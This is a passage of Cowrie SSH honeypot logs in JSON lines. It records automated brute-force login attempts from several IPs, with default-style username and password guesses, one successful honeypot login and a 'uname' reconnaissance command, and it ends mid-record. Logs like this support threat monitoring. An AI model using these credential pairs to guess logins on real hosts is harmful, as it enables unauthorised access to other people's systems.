{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.681719Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:06.992088Z","src_ip":"43.163.119.215","session":"a23ee8ebea8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:07.713897Z","src_ip":"43.163.119.215","session":"a23ee8ebea8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:07.740942Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:08.280397Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:08.283661Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:08.532681Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:08.537413Z","src_ip":"43.163.119.215","session":"bc3ea2ada255","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:08.953981Z","src_ip":"43.163.119.215","session":"a23ee8ebea8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":51512,"dst_ip":"159.203.135.109","dst_port":22,"session":"d787b41ab7bf","protocol":"ssh","message":"New connection: 103.75.199.4:51512 (159.203.135.109:22) [session: d787b41ab7bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.009459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.014228Z","src_ip":"103.75.199.4","session":"d787b41ab7bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.106099Z","src_ip":"103.75.199.4","session":"d787b41ab7bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":57074,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a78ee42ebd1","protocol":"ssh","message":"New connection: 43.163.119.215:57074 (10.17.0.5:22) [session: 7a78ee42ebd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.114063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.119825Z","src_ip":"43.163.119.215","session":"7a78ee42ebd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.355094Z","src_ip":"43.163.119.215","session":"7a78ee42ebd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:12.381631Z","src_ip":"103.75.199.4","session":"d787b41ab7bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:13.322586Z","src_ip":"43.163.119.215","session":"7a78ee42ebd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:13.477795Z","src_ip":"103.75.199.4","session":"d787b41ab7bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:14.557754Z","src_ip":"43.163.119.215","session":"7a78ee42ebd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":43998,"dst_ip":"10.17.0.5","dst_port":22,"session":"60e78d1ebe64","protocol":"ssh","message":"New connection: 43.163.119.215:43998 (10.17.0.5:22) [session: 60e78d1ebe64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:18.637253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:18.642240Z","src_ip":"43.163.119.215","session":"60e78d1ebe64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:18.880475Z","src_ip":"43.163.119.215","session":"60e78d1ebe64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cursor","password":"cursor","message":"login attempt [cursor/cursor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:19.594245Z","src_ip":"43.163.119.215","session":"60e78d1ebe64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":35092,"dst_ip":"159.203.135.109","dst_port":22,"session":"44d66e68ee96","protocol":"ssh","message":"New connection: 154.83.196.237:35092 (159.203.135.109:22) [session: 44d66e68ee96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:20.038275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:20.043511Z","src_ip":"154.83.196.237","session":"44d66e68ee96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:20.169404Z","src_ip":"154.83.196.237","session":"44d66e68ee96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:20.692515Z","src_ip":"154.83.196.237","session":"44d66e68ee96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:20.835563Z","src_ip":"43.163.119.215","session":"60e78d1ebe64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:21.817577Z","src_ip":"154.83.196.237","session":"44d66e68ee96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44010,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ada9ec02517","protocol":"ssh","message":"New connection: 43.163.119.215:44010 (10.17.0.5:22) [session: 6ada9ec02517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:23.078582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:23.083637Z","src_ip":"43.163.119.215","session":"6ada9ec02517","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:23.321832Z","src_ip":"43.163.119.215","session":"6ada9ec02517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dolphinscheduler","password":"dolphinscheduler123","message":"login attempt [dolphinscheduler/dolphinscheduler123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:24.038150Z","src_ip":"43.163.119.215","session":"6ada9ec02517","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:25.278712Z","src_ip":"43.163.119.215","session":"6ada9ec02517","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":41832,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d98f061163","protocol":"ssh","message":"New connection: 103.75.199.4:41832 (159.203.135.109:22) [session: 72d98f061163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:33.950672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:33.954570Z","src_ip":"103.75.199.4","session":"72d98f061163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:34.047572Z","src_ip":"103.75.199.4","session":"72d98f061163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:34.319652Z","src_ip":"103.75.199.4","session":"72d98f061163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:35.414121Z","src_ip":"103.75.199.4","session":"72d98f061163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.154.34.232","src_port":39970,"dst_ip":"10.17.0.5","dst_port":22,"session":"c30e14d18edf","protocol":"ssh","message":"New connection: 94.154.34.232:39970 (10.17.0.5:22) [session: c30e14d18edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:40.718670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T09:58:40.723253Z","src_ip":"94.154.34.232","session":"c30e14d18edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS